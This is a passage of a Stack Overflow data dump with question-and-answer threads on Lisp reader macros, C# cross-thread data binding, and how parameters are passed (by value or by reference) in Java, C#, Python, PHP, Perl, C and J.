something like the following reader definitions:</p>\n\n<pre><code>;; { and } become list delimiters, along with ( and ).\n(set-syntax-from-char #\\{ #\\( )\n(defun lcurly-brace-reader (stream inchar) ; this was way too easy to do.\n (declare (ignore inchar))\n (read-delimited-list #\\} stream t))\n(set-macro-character #\\{ #'lcurly-brace-reader)\n\n(set-macro-character #\\} (get-macro-character #\\) ))\n(set-syntax-from-char #\\} #\\) )\n\n;; un-lisp -- make parens meaningless\n(set-syntax-from-char #\\) #\\] ) ; ( and ) become normal braces\n(set-syntax-from-char #\\( #\\[ )\n</code></pre>\n\n<p>You're telling Lisp that the { is like a ( and that the } is like a ). Then you create a function (<code>lcurly-brace-reader</code>) that the reader will call whenever it sees a {, and you use <code>set-macro-character</code> to assign that function to the {. Then you tell Lisp that ( and ) are like [ and ] (that is, not meaningful syntax).</p>\n\n<p>Other things you could do include, for example, <a href=\"http://www.weitz.de/cl-interpol/\" rel=\"noreferrer\">creating a new string syntax</a> or using [ and ] to enclose in-fix notation and process it into S-expressions. </p>\n\n<p>You can also go far beyond this, redefining the entire syntax with your own macro characters that will trigger actions in the reader, so the sky really is the limit. This is just one of the reasons why <a href=\"http://www.paulgraham.com/icad.html\" rel=\"noreferrer\">Paul Graham</a> and <a href=\"http://gigamonkeys.com/book/introduction-why-lisp.html\" rel=\"noreferrer\">others</a> keep saying that Lisp is a good language in which to write a compiler.</p>\n" }, { "answer_id": 76027, "author": "jfm3", "author_id": 11138, "author_profile": "https://Stackoverflow.com/users/11138", "pm_score": 4, "selected": false, "text": "<p>Over and over again, newcomers to Lisp want to \"get rid of all the parenthesis.\" It lasts for a few weeks. No project to build a serious general purpose programming syntax on top of the usual S-expression parser ever gets anywhere, because programmers invariably wind up preferring what you currently perceive as \"parenthesis hell.\" It takes a little getting used to, but not much! Once you do get used to it, and you can really appreciate the plasticity of the default syntax, going back to languages where there's only one way to express any particular programming construct is really grating.</p>\n\n<p>That being said, Lisp is an excellent substrate for building Domain Specific Languages. Just as good as, if not better than, XML.</p>\n\n<p>Good luck!</p>\n" }, { "answer_id": 78672, "author": "Attila Lendvai", "author_id": 14464, "author_profile": "https://Stackoverflow.com/users/14464", "pm_score": 2, "selected": false, "text": "<p>see this example of how reader macros can extend the lisp reader with complex tasks like XML templating:</p>\n\n<p><a href=\"http://common-lisp.net/project/cl-quasi-quote/present-class.html\" rel=\"nofollow noreferrer\">http://common-lisp.net/project/cl-quasi-quote/present-class.html</a></p>\n\n<p>this <strong>user library</strong> compiles the static parts of the XML into UTF-8 encoded literal byte arrays at compile time that are ready to be write-sequence'd into the network stream. and they are usable in normal lisp macros, they are orthogonal... the placement of the comma character influences which parts are constant and which should be evaluated at runtime.</p>\n\n<p>more details available at: <a href=\"http://common-lisp.net/project/cl-quasi-quote/\" rel=\"nofollow noreferrer\">http://common-lisp.net/project/cl-quasi-quote/</a></p>\n\n<p>another project that for Common Lisp syntax extensions: <a href=\"http://common-lisp.net/project/cl-syntax-sugar/\" rel=\"nofollow noreferrer\">http://common-lisp.net/project/cl-syntax-sugar/</a></p>\n" }, { "answer_id": 82449, "author": "user15700", "author_id": 15700, "author_profile": "https://Stackoverflow.com/users/15700", "pm_score": 3, "selected": false, "text": "<p>What you are asking is somewhat like asking how to become an expert chocolatier so that you can remove all that hellish brown stuff from your favourite chocolate cake.</p>\n" }, { "answer_id": 101022, "author": "Nowhere man", "author_id": 400277, "author_profile": "https://Stackoverflow.com/users/400277", "pm_score": 1, "selected": false, "text": "<p>One of the uses of macros that blew my mind was the compile-time verification of SQL requests against DB.</p>\n\n<p>Once you realize you have the full language at hand at compile-time, it opens up interesting new perspectives. Which also means you can shoot yourself in the foot in interesting new ways (like rendering compilation not reproducible, which can very easily turn into a debugging nightmare).</p>\n" }, { "answer_id": 172107, "author": "Dan Weinreb", "author_id": 25275, "author_profile": "https://Stackoverflow.com/users/25275", "pm_score": 4, "selected": false, "text": "<p>The best explanation of Lisp macros I have ever seen is at</p>\n\n<p><a href=\"https://www.youtube.com/watch?v=4NO83wZVT0A\" rel=\"nofollow noreferrer\">https://www.youtube.com/watch?v=4NO83wZVT0A</a></p>\n\n<p>starting at about 55 minutes in. This is a video of a talk given by Peter Seibel, the author of \"Practical Common Lisp\", which is the best Lisp textbook there is.</p>\n\n<p>The motivation for Lisp macros is usually hard to explain, because they really come into their own in situations that are too lengthy to present in a simple tutorial. Peter comes up with a great example; you can grasp it completely, and it makes good, proper use of Lisp macros.</p>\n\n<p>You asked: \"could you change the functional nature of LISP into a more object oriented syntax and semantics\". The answer is yes. In fact, Lisp originally didn't have any object-oriented programming at all, not surprising since Lisp has been around since way before object-oriented programming! But when we first learned about OOP in 1978, we were able to add it to Lisp easily, using, among other things, macros. Eventually the Common Lisp Object System (CLOS) was developed, a very powerful object-oriented programming system that fits elegantly into Lisp. The whole thing can be loaded as an extension -- nothing is built-in! It's all done with macros.</p>\n\n<p>Lisp has an entirely different feature, called \"reader macros\", that can be used to extend the surface syntax of the language. Using reader macros, you can make sublanguages that have C-like or Ruby-like syntax. They transform the text into Lisp, internally. These are not used widely by most real Lisp programmers, mainly because it is hard to extend the interactive development environment to understand the new syntax. For example, Emacs indentation commands would be confused by a new syntax. If you're energetic, though, Emacs is extensible too, and you could teach it about your new lexical syntax.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1988", "https://Stackoverflow.com", "https://Stackoverflow.com/users/122/" ]
I have read a lot that LISP can redefine syntax on the fly, presumably with macros. I am curious how far does this actually go? Can you redefine the language structure so much that it borderline becomes a compiler for another language? For example, could you change the functional nature of LISP into a more object oriented syntax and semantics, maybe say having syntax closer to something like Ruby? Especially, is it possible to get rid of the parenthesis hell using macros? I have learned enough (Emacs-)LISP to customize Emacs with my own micro-features, but I am very curious how far macros can go in customizing the language.
That's a really good question. I think it's nuanced but definitely answerable: Macros are not stuck in s-expressions. See the LOOP macro for a very complex language written using keywords (symbols). So, while you may start and end the loop with parentheses, inside it has its own syntax. Example: ``` (loop for x from 0 below 100 when (even x) collect x) ``` That being said, most simple macros just use s-expressions. And you'd be "stuck" using them. But s-expressions, like Sergio has answered, start to feel right. The syntax gets out of the way and you start coding in the syntax tree. As for reader macros, yes, you could conceivably write something like this: ``` #R{ ruby.code.goes.here } ``` But you'd need to write your own Ruby syntax parser. You can also mimic some of the Ruby constructs, like blocks, with macros that compile to the existing Lisp constructs. ``` #B(some lisp (code goes here)) ``` would translate to ``` (lambda () (some lisp (code goes here))) ``` See [this page](http://rottcodd.wordpress.com/2007/11/29/lambda-shortcut/) for how to do it.
1,994
<p>When you data bind in C#, the thread that changes the data causes the control to change too. But if this thread is not the one on which the control was created, you'll get an Illegal Cross Thread Operation exception.</p> <p>Is there anyway to prevent this?</p>
[ { "answer_id": 1998, "author": "Mike Stone", "author_id": 122, "author_profile": "https://Stackoverflow.com/users/122", "pm_score": 3, "selected": false, "text": "<p>You should be able to do something like:</p>\n\n<pre><code>if (control.InvokeRequired)\n{\n control.Invoke(delegateWithMyCode);\n}\nelse\n{\n delegateWithMyCode();\n}\n</code></pre>\n\n<p>InvokeRequired is a property on Controls to see if you are on the correct thread, then Invoke will invoke the delegate on the correct thread.</p>\n\n<p>UPDATE: Actually, at my last job we did something like this:</p>\n\n<pre><code>private void SomeEventHandler(Object someParam)\n{\n if (this.InvokeRequired)\n {\n this.Invoke(new SomeEventHandlerDelegate(SomeEventHandler), someParam);\n }\n\n // Regular handling code\n}\n</code></pre>\n\n<p>which removes the need for the else block and kind of tightens up the code.</p>\n" }, { "answer_id": 2002, "author": "tags2k", "author_id": 192, "author_profile": "https://Stackoverflow.com/users/192", "pm_score": 2, "selected": false, "text": "<p>As I don't have a test case to go from I can't guarantee this solution, but it seems to me that a scenario similar to the one used to update progress bars in different threads (use a delegate) would be suitable here.</p>\n\n<pre><code>public delegate void DataBindDelegate();\npublic DataBindDelegate BindData = new DataBindDelegate(DoDataBind);\n\npublic void DoDataBind()\n{\n DataBind();\n}\n</code></pre>\n\n<p>If the data binding needs to be done by a particular thread, then let that thread do the work!</p>\n" }, { "answer_id": 2013, "author": "tags2k", "author_id": 192, "author_profile": "https://Stackoverflow.com/users/192", "pm_score": 0, "selected": false, "text": "<p>If the thread call is \"illegal\" (i.e. the DataBind call affects controls that were not created in the thread it is being called from) then you need to create a delegate so that even if the decision / preparation for the DataBind is not done in the control-creating thread, any resultant modification of them (i.e. DataBind()) will be.</p>\n\n<p>You would call my code from the worker thread like so:</p>\n\n<pre><code>this.BindData.Invoke();\n</code></pre>\n\n<p>This would then cause the original thread to do the binding, which (presuming it is the thread that created the controls) should work.</p>\n" }, { "answer_id": 6109, "author": "Brian Leahy", "author_id": 580, "author_profile": "https://Stackoverflow.com/users/580", "pm_score": 0, "selected": false, "text": "<p>In WPF and Silverlight the binding infrastructure takes care of the switching to the UI thread.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1994", "https://Stackoverflow.com", "https://Stackoverflow.com/users/195/" ]
When you data bind in C#, the thread that changes the data causes the control to change too. But if this thread is not the one on which the control was created, you'll get an Illegal Cross Thread Operation exception. Is there anyway to prevent this?
You should be able to do something like: ``` if (control.InvokeRequired) { control.Invoke(delegateWithMyCode); } else { delegateWithMyCode(); } ``` InvokeRequired is a property on Controls to see if you are on the correct thread, then Invoke will invoke the delegate on the correct thread. UPDATE: Actually, at my last job we did something like this: ``` private void SomeEventHandler(Object someParam) { if (this.InvokeRequired) { this.Invoke(new SomeEventHandlerDelegate(SomeEventHandler), someParam); } // Regular handling code } ``` which removes the need for the else block and kind of tightens up the code.
2,027
<p>When learning a new programming language, one of the possible roadblocks you might encounter is the question whether the language is, by default, <em>pass-by-value or pass-by-reference</em>.</p> <p>So here is my question to all of you, in your favorite language, <em>how</em> is it actually done? And what are the <em>possible pitfalls</em>?</p> <p>Your favorite language can, of course, be anything you have ever played with: <a href="http://www.ruby-lang.org/en/" rel="noreferrer">popular</a>, <a href="http://www.devtopics.com/a-obscure-programming-language-of-the-month/" rel="noreferrer">obscure</a>, <a href="http://en.wikipedia.org/wiki/Brainfuck" rel="noreferrer">esoteric</a>, <a href="http://www.nvidia.com/object/cuda_get.html" rel="noreferrer">new</a>, <a href="http://en.wikipedia.org/wiki/FORTRAN" rel="noreferrer">old</a>...</p>
[ { "answer_id": 2028, "author": "sven", "author_id": 46, "author_profile": "https://Stackoverflow.com/users/46", "pm_score": 5, "selected": false, "text": "<p>Here is my own contribution for the <a href=\"http://en.wikipedia.org/wiki/Java_(programming_language)\" rel=\"nofollow noreferrer\">Java programming language</a>.</p>\n\n<p>first some code:</p>\n\n<pre><code>public void swap(int x, int y)\n{\n int tmp = x;\n x = y;\n y = tmp;\n}\n</code></pre>\n\n<p>calling this method will result in this:</p>\n\n<pre><code>int pi = 3;\nint everything = 42;\n\nswap(pi, everything);\n\nSystem.out.println(\"pi: \" + pi);\nSystem.out.println(\"everything: \" + everything);\n\n\"Output:\npi: 3\neverything: 42\"\n</code></pre>\n\n<p>even using 'real' objects will show a similar result:</p>\n\n<pre><code>public class MyObj {\n private String msg;\n private int number;\n\n //getters and setters\n public String getMsg() {\n return this.msg;\n }\n\n\n public void setMsg(String msg) {\n this.msg = msg;\n }\n\n\n public int getNumber() {\n return this.number;\n }\n\n\n public void setNumber(int number) {\n this.number = number;\n }\n\n //constructor\n public MyObj(String msg, int number) {\n setMsg(msg);\n setNumber(number);\n }\n}\n\npublic static void swap(MyObj x, MyObj y)\n{\n MyObj tmp = x;\n x = y;\n y = tmp;\n}\n\npublic static void main(String args[]) {\n MyObj x = new MyObj(\"Hello world\", 1);\n MyObj y = new MyObj(\"Goodbye Cruel World\", -1); \n\n swap(x, y);\n\n System.out.println(x.getMsg() + \" -- \"+ x.getNumber());\n System.out.println(y.getMsg() + \" -- \"+ y.getNumber());\n}\n\n\n\"Output:\nHello world -- 1\nGoodbye Cruel World -- -1\"\n</code></pre>\n\n<p>thus it is clear that Java passes its parameters <strong>by value</strong>, as the value for <em>pi</em> and <em>everything</em> and the <em>MyObj objects</em> aren't swapped.\nbe aware that \"by value\" is the <em>only way</em> in java to pass parameters to a method. (for example a language like c++ allows the developer to pass a parameter by reference using '<strong>&amp;</strong>' after the parameter's type)</p>\n\n<p>now the <strong>tricky part</strong>, or at least the part that will confuse most of the new java developers: (borrowed from <a href=\"http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html\" rel=\"nofollow noreferrer\">javaworld</a>)<br>\nOriginal author: Tony Sintes</p>\n\n<pre><code>public void tricky(Point arg1, Point arg2)\n{\n arg1.x = 100;\n arg1.y = 100;\n Point temp = arg1;\n arg1 = arg2;\n arg2 = temp;\n}\npublic static void main(String [] args)\n{\n Point pnt1 = new Point(0,0);\n Point pnt2 = new Point(0,0);\n System.out.println(\"X: \" + pnt1.x + \" Y: \" +pnt1.y); \n System.out.println(\"X: \" + pnt2.x + \" Y: \" +pnt2.y);\n System.out.println(\" \");\n tricky(pnt1,pnt2);\n System.out.println(\"X: \" + pnt1.x + \" Y:\" + pnt1.y); \n System.out.println(\"X: \" + pnt2.x + \" Y: \" +pnt2.y); \n}\n\n\n\"Output\nX: 0 Y: 0\nX: 0 Y: 0\nX: 100 Y: 100\nX: 0 Y: 0\"\n</code></pre>\n\n<p><em>tricky</em> successfully changes the value of pnt1!\nThis would imply that Objects are passed by reference, this is not the case!\nA correct statement would be: <strong>the <em>Object references</em> are passed by value.</strong> </p>\n\n<p>more from Tony Sintes: </p>\n\n<blockquote>\n <p>The method successfully alters the\n value of pnt1, even though it is\n passed by value; however, a swap of\n pnt1 and pnt2 fails! This is the major\n source of confusion. In the main()\n method, pnt1 and pnt2 are nothing more\n than object references. When you pass\n pnt1 and pnt2 to the tricky() method,\n Java passes the references by value\n just like any other parameter. This\n means the references passed to the\n method are actually copies of the\n original references. Figure 1 below\n shows two references pointing to the\n same object after Java passes an\n object to a method.</p>\n</blockquote>\n\n<p><a href=\"https://i.stack.imgur.com/EXPyo.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EXPyo.gif\" alt=\"figure 1\"></a><br>\n<sub>(source: <a href=\"http://www.javaworld.com/javaworld/javaqa/2000-05/images/03-qa-0512-pass2b.gif\" rel=\"nofollow noreferrer\">javaworld.com</a>)</sub> </p>\n\n<p><strong>Conclusion</strong> or a long story short:</p>\n\n<ul>\n<li>Java passes it parameters <strong>by value</strong></li>\n<li><em>\"by value\"</em> is the <strong>only way</strong> in java to pass a parameter to a method</li>\n<li>using <em>methods from the object</em> given as parameter <strong>will alter</strong> the object as the references point to the original objects. (if that method itself alters some values)</li>\n</ul>\n\n<p>useful links: </p>\n\n<ul>\n<li><a href=\"http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html\" rel=\"nofollow noreferrer\">http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html</a></li>\n<li><a href=\"http://www.ibm.com/developerworks/java/library/j-passbyval/\" rel=\"nofollow noreferrer\">http://www.ibm.com/developerworks/java/library/j-passbyval/</a></li>\n<li><a href=\"http://www.ibm.com/developerworks/library/j-praxis/pr1.html\" rel=\"nofollow noreferrer\">http://www.ibm.com/developerworks/library/j-praxis/pr1.html</a></li>\n<li><a href=\"http://javadude.com/articles/passbyvalue.htm\" rel=\"nofollow noreferrer\">http://javadude.com/articles/passbyvalue.htm</a></li>\n</ul>\n" }, { "answer_id": 2033, "author": "DShook", "author_id": 370, "author_profile": "https://Stackoverflow.com/users/370", "pm_score": 2, "selected": false, "text": "<p><strong>by value</strong> </p>\n\n<ul>\n<li>is slower than by reference since the system has to copy the parameter</li>\n<li>used for input only </li>\n</ul>\n\n<p><strong>by reference</strong></p>\n\n<ul>\n<li>faster since only a pointer is passed</li>\n<li>used for input <strong>and</strong> output</li>\n<li>can be very dangerous if used in conjunction with global variables</li>\n</ul>\n" }, { "answer_id": 2051, "author": "Matthew Schinckel", "author_id": 188, "author_profile": "https://Stackoverflow.com/users/188", "pm_score": 3, "selected": false, "text": "<p>Don't forget there is also <strong>pass by name</strong>, and <strong>pass by value-result</strong>.</p>\n\n<p>Pass by value-result is similar to pass by value, with the added aspect that the value is set in the original variable that was passed as the parameter. It can, to some extent, avoid interference with global variables. It is apparently better in partitioned memory, where a pass by reference could cause a page fault (<a href=\"http://logos.cs.uic.edu/476/notes/PassByRefOrValResult.html\" rel=\"noreferrer\">Reference</a>).</p>\n\n<p>Pass by name means that the values are only calculated when they are actually used, rather than at the start of the procedure. Algol used pass-by-name, but an interesting side effect is that is it very difficult to write a swap procedure (<a href=\"http://www.cs.sfu.ca/~cameron/Teaching/383/PassByName.html\" rel=\"noreferrer\">Reference</a>). Also, the expression passed by name is re-evaluated each time it is accessed, which can also have side effects.</p>\n" }, { "answer_id": 2554, "author": "sven", "author_id": 46, "author_profile": "https://Stackoverflow.com/users/46", "pm_score": 4, "selected": false, "text": "<p>Here is another article for the <a href=\"http://msdn.microsoft.com/en-us/vcsharp/default.aspx\" rel=\"nofollow noreferrer\">c# programming language</a></p>\n\n<p>c# passes its arguments <strong>by value</strong> (by default)</p>\n\n<pre><code>private void swap(string a, string b) {\n string tmp = a;\n a = b;\n b = tmp;\n}\n</code></pre>\n\n<p>calling this version of swap will thus have no result:</p>\n\n<pre><code>string x = \"foo\";\nstring y = \"bar\";\nswap(x, y);\n\n\"output: \nx: foo\ny: bar\"\n</code></pre>\n\n<p>however, <a href=\"https://stackoverflow.com/questions/2027/#2028\">unlike java</a> c# <em>does</em> give the developer the opportunity to pass parameters <strong>by reference</strong>, this is done by using the 'ref' keyword before the type of the parameter:</p>\n\n<pre><code>private void swap(ref string a, ref string b) {\n string tmp = a;\n a = b;\n b = tmp;\n} \n</code></pre>\n\n<p>this swap <em>will</em> change the value of the referenced parameter:</p>\n\n<pre><code>string x = \"foo\";\nstring y = \"bar\";\nswap(x, y);\n\n\"output: \nx: bar\ny: foo\"\n</code></pre>\n\n<p>c# also has a <strong>out keyword</strong>, and the difference between ref and out is a subtle one.\n<a href=\"http://msdn.microsoft.com/en-us/vcsharp/aa336814.aspx\" rel=\"nofollow noreferrer\">from msdn:</a></p>\n\n<blockquote>\n <p>The caller of a method which takes an\n <strong>out parameter</strong> is not required to\n assign to the variable passed as the\n out parameter prior to the call;\n however, the callee is <em>required to\n assign to the out parameter before\n returning.</em></p>\n</blockquote>\n\n<p>and</p>\n\n<blockquote>\n <p>In contrast <strong>ref parameters</strong> are\n <em>considered initially assigned</em> by the\n callee. As such, the callee is <em>not\n required to assign to the ref</em>\n parameter before use. Ref parameters\n are passed both into and out of a\n method.</p>\n</blockquote>\n\n<p>a small pitfall is, like in java, that <strong>objects passed by value can still be changed using their inner methods</strong></p>\n\n<p><strong>conclusion:</strong> </p>\n\n<ul>\n<li>c# passes its parameters, by default, <strong>by value</strong> </li>\n<li>but when needed parameters can also be passed <strong>by reference</strong> using the ref keyword</li>\n<li>inner methods from a parameter passed by value <strong>will alter</strong> the object (if that method itself alters some values)</li>\n</ul>\n\n<p>useful links:</p>\n\n<ul>\n<li><a href=\"http://msdn.microsoft.com/en-us/vcsharp/aa336814.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/vcsharp/aa336814.aspx</a></li>\n<li><a href=\"http://www.c-sharpcorner.com/UploadFile/saragana/Willswapwork11162005012542AM/Willswapwork.aspx\" rel=\"nofollow noreferrer\">http://www.c-sharpcorner.com/UploadFile/saragana/Willswapwork11162005012542AM/Willswapwork.aspx</a></li>\n<li><a href=\"http://en.csharp-online.net/Value_vs_Reference\" rel=\"nofollow noreferrer\">http://en.csharp-online.net/Value_vs_Reference</a></li>\n</ul>\n" }, { "answer_id": 4078, "author": "Karl Seguin", "author_id": 34, "author_profile": "https://Stackoverflow.com/users/34", "pm_score": 3, "selected": false, "text": "<p>There's a <a href=\"http://codebetter.com/blogs/karlseguin/archive/2008/04/27/foundations-of-programming-pt-7-back-to-basics-memory.aspx\" rel=\"noreferrer\">good explanation here</a> for .NET.</p>\n\n<p>A lot of people are surprise that reference objects are actually passed by value (in both C# and Java). It's a copy of a stack address. This prevents a method from changing where the object actually points to, but still allows a method to change the values of the object. In C# its possible to pass a reference by reference, which means you can change where an actual object points to.</p>\n" }, { "answer_id": 7485, "author": "grom", "author_id": 486, "author_profile": "https://Stackoverflow.com/users/486", "pm_score": 2, "selected": false, "text": "<p>PHP is also pass by value.</p>\n\n<pre><code>&lt;?php\nclass Holder {\n private $value;\n\n public function __construct($value) {\n $this-&gt;value = $value;\n }\n\n public function getValue() {\n return $this-&gt;value;\n }\n}\n\nfunction swap($x, $y) {\n $tmp = $x;\n $x = $y;\n $y = $tmp;\n}\n\n$a = new Holder('a');\n$b = new Holder('b');\nswap($a, $b);\n\necho $a-&gt;getValue() . \", \" . $b-&gt;getValue() . \"\\n\";\n</code></pre>\n\n<p>Outputs:</p>\n\n<pre><code>a b\n</code></pre>\n\n<p>However in PHP4 objects were treated like <a href=\"http://www.php.net/manual/en/migration5.oop.php\" rel=\"nofollow noreferrer\">primitives</a>. Which means:</p>\n\n<pre><code>&lt;?php\n$myData = new Holder('this should be replaced');\n\nfunction replaceWithGreeting($holder) {\n $myData-&gt;setValue('hello');\n}\n\nreplaceWithGreeting($myData);\necho $myData-&gt;getValue(); // Prints out \"this should be replaced\"\n</code></pre>\n" }, { "answer_id": 24370, "author": "yukondude", "author_id": 726, "author_profile": "https://Stackoverflow.com/users/726", "pm_score": 4, "selected": false, "text": "<p><strong>Python</strong> uses pass-by-value, but since all such values are object references, the net effect is something akin to pass-by-reference. However, Python programmers think more about whether an object type is <em>mutable</em> or <em>immutable</em>. Mutable objects can be changed in-place (e.g., dictionaries, lists, user-defined objects), whereas immutable objects can't (e.g., integers, strings, tuples).</p>\n\n<p>The following example shows a function that is passed two arguments, an immutable string, and a mutable list.</p>\n\n<pre><code>&gt;&gt;&gt; def do_something(a, b):\n... a = \"Red\"\n... b.append(\"Blue\")\n... \n&gt;&gt;&gt; a = \"Yellow\"\n&gt;&gt;&gt; b = [\"Black\", \"Burgundy\"]\n&gt;&gt;&gt; do_something(a, b)\n&gt;&gt;&gt; print a, b\nYellow ['Black', 'Burgundy', 'Blue']\n</code></pre>\n\n<p>The line <code>a = \"Red\"</code> merely creates a local name, <code>a</code>, for the string value <code>\"Red\"</code> and has no effect on the passed-in argument (which is now hidden, as <code>a</code> must refer to the local name from then on). Assignment is not an in-place operation, regardless of whether the argument is mutable or immutable.</p>\n\n<p>The <code>b</code> parameter is a reference to a mutable list object, and the <code>.append()</code> method performs an in-place extension of the list, tacking on the new <code>\"Blue\"</code> string value.</p>\n\n<p>(Because string objects are immutable, they don't have any methods that support in-place modifications.)</p>\n\n<p>Once the function returns, the re-assignment of <code>a</code> has had no effect, while the extension of <code>b</code> clearly shows pass-by-reference style call semantics.</p>\n\n<p>As mentioned before, even if the argument for <code>a</code> is a mutable type, the re-assignment within the function is not an in-place operation, and so there would be no change to the passed argument's value:</p>\n\n<pre><code>&gt;&gt;&gt; a = [\"Purple\", \"Violet\"]\n&gt;&gt;&gt; do_something(a, b)\n&gt;&gt;&gt; print a, b\n['Purple', 'Violet'] ['Black', 'Burgundy', 'Blue', 'Blue']\n</code></pre>\n\n<p>If you didn't want your list modified by the called function, you would instead use the immutable tuple type (identified by the parentheses in the literal form, rather than square brackets), which does not support the in-place <code>.append()</code> method:</p>\n\n<pre><code>&gt;&gt;&gt; a = \"Yellow\"\n&gt;&gt;&gt; b = (\"Black\", \"Burgundy\")\n&gt;&gt;&gt; do_something(a, b)\nTraceback (most recent call last):\n File \"&lt;stdin&gt;\", line 1, in &lt;module&gt;\n File \"&lt;stdin&gt;\", line 3, in do_something\nAttributeError: 'tuple' object has no attribute 'append'\n</code></pre>\n" }, { "answer_id": 1776077, "author": "MPelletier", "author_id": 210916, "author_profile": "https://Stackoverflow.com/users/210916", "pm_score": 2, "selected": false, "text": "<p>Concerning <a href=\"http://www.jsoftware.com\" rel=\"nofollow noreferrer\">J</a>, while there is only, AFAIK, passing by value, there is a form of passing by reference which enables moving a lot of data. You simply pass something known as a locale to a verb (or function). It can be an instance of a class or just a generic container.</p>\n\n<pre><code>spaceused=: [: 7!:5 &lt;\nexectime =: 6!:2\nbig_chunk_of_data =. i. 1000 1000 100\npassbyvalue =: 3 : 0\n $ y\n ''\n)\nlocale =. cocreate''\nbig_chunk_of_data__locale =. big_chunk_of_data\npassbyreference =: 3 : 0\n l =. y\n $ big_chunk_of_data__l\n ''\n)\nexectime 'passbyvalue big_chunk_of_data'\n 0.00205586720663967\nexectime 'passbyreference locale'\n 8.57957102144893e_6\n</code></pre>\n\n<p>The obvious disadvantage is that you need to know the name of your variable in some way in the called function. But this technique can move a lot of data painlessly. That's why, while technically not pass by reference, I call it \"pretty much that\".</p>\n" }, { "answer_id": 4685077, "author": "oosterwal", "author_id": 90695, "author_profile": "https://Stackoverflow.com/users/90695", "pm_score": -1, "selected": false, "text": "<p>By default, ANSI/ISO C uses either--it depends on how you declare your function and its parameters.</p>\n\n<p>If you declare your function parameters as pointers then the function will be pass-by-reference, and if you declare your function parameters as not-pointer variables then the function will be pass-by-value.</p>\n\n<pre><code>void swap(int *x, int *y); //&lt; Declared as pass-by-reference.\nvoid swap(int x, int y); //&lt; Declared as pass-by-value (and probably doesn't do anything useful.)\n</code></pre>\n\n<p>You can run into problems if you create a function that returns a pointer to a non-static variable that was created within that function. The returned value of the following code would be undefined--there is no way to know if the memory space allocated to the temporary variable created in the function was overwritten or not.</p>\n\n<pre><code>float *FtoC(float temp)\n{\n float c;\n c = (temp-32)*9/5;\n return &amp;c;\n}\n</code></pre>\n\n<p>You could, however, return a reference to a static variable or a pointer that was passed in the parameter list.</p>\n\n<pre><code>float *FtoC(float *temp)\n{\n *temp = (*temp-32)*9/5;\n return temp;\n}\n</code></pre>\n" }, { "answer_id": 10143845, "author": "LeoNerd", "author_id": 1069726, "author_profile": "https://Stackoverflow.com/users/1069726", "pm_score": 3, "selected": false, "text": "<p>Since I haven't seen a Perl answer yet, I thought I'd write one.</p>\n\n<p>Under the hood, Perl works effectively as pass-by-reference. Variables as function call arguments are passed referentially, constants are passed as read-only values, and results of expressions are passed as temporaries. The usual idioms to construct argument lists by list assignment from <code>@_</code>, or by <code>shift</code> tend to hide this from the user, giving the appearance of pass-by-value:</p>\n\n<pre><code>sub incr {\n my ( $x ) = @_;\n $x++;\n}\n\nmy $value = 1;\nincr($value);\nsay \"Value is now $value\";\n</code></pre>\n\n<p>This will print <code>Value is now 1</code> because the <code>$x++</code> has incremented the lexical variable declared within the <code>incr()</code> function, rather than the variable passed in. This pass-by-value style is usually what is wanted most of the time, as functions that modify their arguments are rare in Perl, and the style should be avoided.</p>\n\n<p>However, if for some reason this behaviour is specifically desired, it can be achieved by operating directly on elements of the <code>@_</code> array, because they will be aliases for variables passed into the function.</p>\n\n<pre><code>sub incr {\n $_[0]++;\n}\n\nmy $value = 1;\nincr($value);\nsay \"Value is now $value\";\n</code></pre>\n\n<p>This time it will print <code>Value is now 2</code>, because the <code>$_[0]++</code> expression incremented the actual <code>$value</code> variable. The way this works is that under the hood <code>@_</code> is not a real array like most other arrays (such as would be obtained by <code>my @array</code>), but instead its elements are built directly out of the arguments passed to a function call. This allows you to construct pass-by-reference semantics if that would be required. Function call arguments that are plain variables are inserted as-is into this array, and constants or results of more complex expressions are inserted as read-only temporaries.</p>\n\n<p>It is however exceedingly rare to do this in practice, because Perl supports reference values; that is, values that refer to other variables. Normally it is far clearer to construct a function that has an obvious side-effect on a variable, by passing in a reference to that variable. This is a clear indication to the reader at the callsite, that pass-by-reference semantics are in effect.</p>\n\n<pre><code>sub incr_ref {\n my ( $ref ) = @_;\n $$ref++;\n}\n\nmy $value = 1;\nincr(\\$value);\nsay \"Value is now $value\";\n</code></pre>\n\n<p>Here the <code>\\</code> operator yields a reference in much the same way as the <code>&amp;</code> address-of operator in C.</p>\n" }, { "answer_id": 10147528, "author": "newacct", "author_id": 86989, "author_profile": "https://Stackoverflow.com/users/86989", "pm_score": 3, "selected": false, "text": "<p>Whatever you say as pass-by-value or pass-by-reference must be consistent across languages. The most common and consistent definition used across languages is that with pass-by-reference, you can pass a variable to a function \"normally\" (i.e. without explicitly taking address or anything like that), and the function can <em>assign to</em> (not mutate the contents of) the parameter inside the function and it will have the same effect as assigning to the variable in the calling scope.</p>\n\n<p>From this view, the languages are grouped as follows; each group having the same passing semantics. If you think that two languages should not be put in the same group, I challenge you to come up with an example that distinguishes them.</p>\n\n<p>The vast majority of languages including <strong>C</strong>, <strong>Java</strong>, <strong>Python</strong>, <strong>Ruby</strong>, <strong>JavaScript</strong>, <strong>Scheme</strong>, <strong>OCaml</strong>, <strong>Standard ML</strong>, <strong>Go</strong>, <strong>Objective-C</strong>, <strong>Smalltalk</strong>, etc. are all <strong>pass-by-value only</strong>. Passing a pointer value (some languages call it a \"reference\") does not count as pass by reference; we are only concerned about the thing passed, the pointer, not the thing pointed to.</p>\n\n<p>Languages such as <strong>C++</strong>, <strong>C#</strong>, <strong>PHP</strong> are by default pass-by-value like the languages above, but functions can explicitly declare parameters to be pass-by-reference, using <code>&amp;</code> or <code>ref</code>.</p>\n\n<p><strong>Perl</strong> is always pass-by-reference; however, in practice people almost always copy the values after getting it, thus using it in a pass-by-value way.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2027", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46/" ]
